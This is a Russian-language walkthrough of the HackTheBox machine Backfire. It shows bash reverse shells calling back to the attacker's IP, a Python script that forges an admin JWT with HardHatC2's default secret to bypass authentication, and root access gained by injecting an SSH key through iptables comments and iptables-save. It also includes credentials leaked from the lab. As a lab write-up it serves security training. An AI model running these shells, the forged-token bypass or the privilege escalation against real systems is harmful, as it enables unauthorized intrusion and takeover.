> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md). # Разбор Backfire на HackTheBox {% embed url="" %} {% hint style="warning" %} **Навыки:** * Утечка информации (файл Yaotl) * Эксплуатация Havoc-C2 (порт 40046) * Создание SSH-ключа * Пивотинг (Пользователь: Sergej) * Эксплуатация HardHat (порт 7096) * HardHat — обход аутентификации * HardHat — удалённое выполнение кода * Повышение привилегий через sudo (IPTables) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.49 -oN allPorts ```

Сканирование версий портов с помощью Nmap: (22,443,8000) Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted": ```bash nmap -sCV -p22,443,8000 10.10.11.49 -oN targeted ```

### Порт 8000 На порту 8000 мы находим два интересных файла: * `disable_tls.path` * `havoc.yaotl`

У **havoc.yaotl** файл содержит двух пользователей с их паролями и доменное имя: * **ilya:** `CobaltStr1keSuckz!` * **sergej:** `1w4nt2sw1tch2h4rdh4tc2` * **Хост:** `backfire.htb`

Мы добавляем это имя хоста в наш `/etc/hosts` файл для более удобного доступа.

У **disable/ tls.path** Файл содержит патч для отключения TLS на порту управления WebSocket (40056) в Havoc. Этот патч заменяет "wss\://" на "ws\://" и удаляет SSL-конфигурацию как для клиента, так и для сервера. Автор оправдывает это изменение тем, что этот порт принимает только локальные соединения через SSH-переадресацию, тем самым снижая риски безопасности. Этот патч также, похоже, является иронией в адрес пользователя **sergej**быстрой работы.

## Порт 40046 Havoc-C2 {% embed url="" %} Чтобы использовать уязвимость SSRF в Havoc, мы создаём `payload.sh` файл, содержащий следующий код: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.254/4444 0>&1 ``` Затем мы поднимаем веб-сервер для размещения нашего payload с помощью следующей команды: ```bash python3 -m http.server 80 ``` После этого мы слушаем порт 4444 с помощью netcat, чтобы получить обратное соединение: ```bash nc -nlvp 4444 ``` Мы изменяем скрипт, чтобы добавить нужную информацию, затем запускаем эксплойт следующей командой:

```bash python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056 ``` **Доступ пользователя:** Пользователь **ilya** позволяет подключиться к целевой машине.

#### Стабилизация терминала

script /dev/null -c bash
Нажмите `Ctrl+Z`, затем стабилизируйте терминал:

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184

### Флаг user.txt

Мы замечаем, что cron-задача завершает нашу сессию каждые 2 минуты. Чтобы обойти эту проблему, мы создадим SSH-ключи. ### **Создание SSH-ключей:** Мы генерируем новый SSH-ключ с помощью следующей команды: {% code overflow="wrap" %} ```bash ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa ``` {% endcode %}

Затем мы изменяем `authorized_keys` файл, чтобы добавить наш публичный ключ: {% code overflow="wrap" %} ```bash echo "YOU KEY" | tee -a ~/.ssh/authorized_keys ``` {% endcode %}

Затем мы подключаемся к целевой машине по SSH: ```bash ssh ilya@backfire.htb ```

### **Переход к пользователю Sergej** В директории пользователя `ilya`, мы находим файл `hardhat.txt` содержащий следующее сообщение: > Сергей сказал, что установил HardHatC2 для тестирования и не менял настройки по умолчанию. Надеюсь, он предпочитает Havoc, потому что я не хочу изучать ещё один C2-фреймворк и Go

Мы проверяем внутренние порты с помощью `netstat` команды: ```bash netstat -tuln ``` Порты 5000 и 7096 кажутся особенно интересными.

**Переадресация портов:** Мы выполняем переадресацию портов через SSH для доступа к внутренним службам: ```bash ssh -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@backfire.htb ``` ## **Порт 7096 — CMS HardHatC2:** На порту 7096 мы находим CMS HardHat.

### **Обход аутентификации HardHat C2** {% embed url="" %} Мы используем следующий скрипт, чтобы обойти аутентификацию и создать нового пользователя: ```python import jwt import datetime import uuid import requests rhost = '127.0.0.1:5000' # Создать JWT администратора secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq" issuer = "hardhatc2.com" now = datetime.datetime.utcnow() expiration = now + datetime.timedelta(days=28) payload = { "sub": "HardHat_Admin", "jti": str(uuid.uuid4()), "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1", "iss": issuer, "aud": issuer, "iat": int(now.timestamp()), "exp": int(expiration.timestamp()), "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator" } token = jwt.encode(payload, secret, algorithm="HS256") print("Сгенерированный JWT:") print(token) # Использовать JWT администратора для создания нового пользователя 'sth_pentest' как TeamLead burp0_url = f"https://{rhost}/Login/Register" burp0_headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } burp0_json = { "password": "jordan12345", "role": "TeamLead", "username": "jordan" } r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False) print(r.text) ``` Скрипт создаёт пользователя `jordan` с ролью `ролью TeamLead`.

### Hardhat C2 (RCE) На `ImplantInteract` части, у нас есть доступ к терминалу. Выполнив `whoami` команду, мы видим, что вошли как пользователь `sergej`.

Мы устанавливаем обратную оболочку для пользователя `sergej` прослушивая порт 443: ```bash nc -nlvp 443 ``` А теперь выполним следующую команду, чтобы установить обратное соединение ```bash bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1" ``` После подключения мы добавляем наш SSH-ключ в `authorized_keys` чтобы можно было легко подключаться снова:

```bash echo "your key" | tee -a ~/.ssh/authorized_keys ``` ## **Повышение привилегий:** ### **Sudo - IP-Tables** **Проверка прав sudo** Мы начинаем с проверки прав sudo, доступных на машине: ```bash sudo -l ```

Мы обнаруживаем, что у пользователя есть `sudo` права без пароля на следующие команды: * `/usr/sbin/iptables` * `/usr/sbin/iptables-save` **Генерация пары SSH-ключей** Мы генерируем пару SSH-ключей, чтобы внедрить наш публичный ключ в файлы аутентификации root: ```bash ssh-keygen -t ed25519 ``` Вот сгенерированный публичный ключ: {% code overflow="wrap" %} ``` ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot ``` {% endcode %} **Внедрение публичного ключа в iptables** Мы используем `--comment` поле `iptables` чтобы внедрить наш публичный ключ в правило {% code overflow="wrap" %} ```bash sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot/n' ``` {% endcode %} Мы проверяем, что правило было добавлено: ```bash sudo /usr/sbin/iptables -L ```

**Сохранение в файл authorized/\_keys** Мы сохраняем правила iptables в файл, который будет использоваться как файл root-пользователя `authorized_keys` файл: ```bash sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys2 ``` **Вход от root** Наконец, мы можем подключиться по SSH как root: ```bash ssh root@backfire.htb ```

### Флаг root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.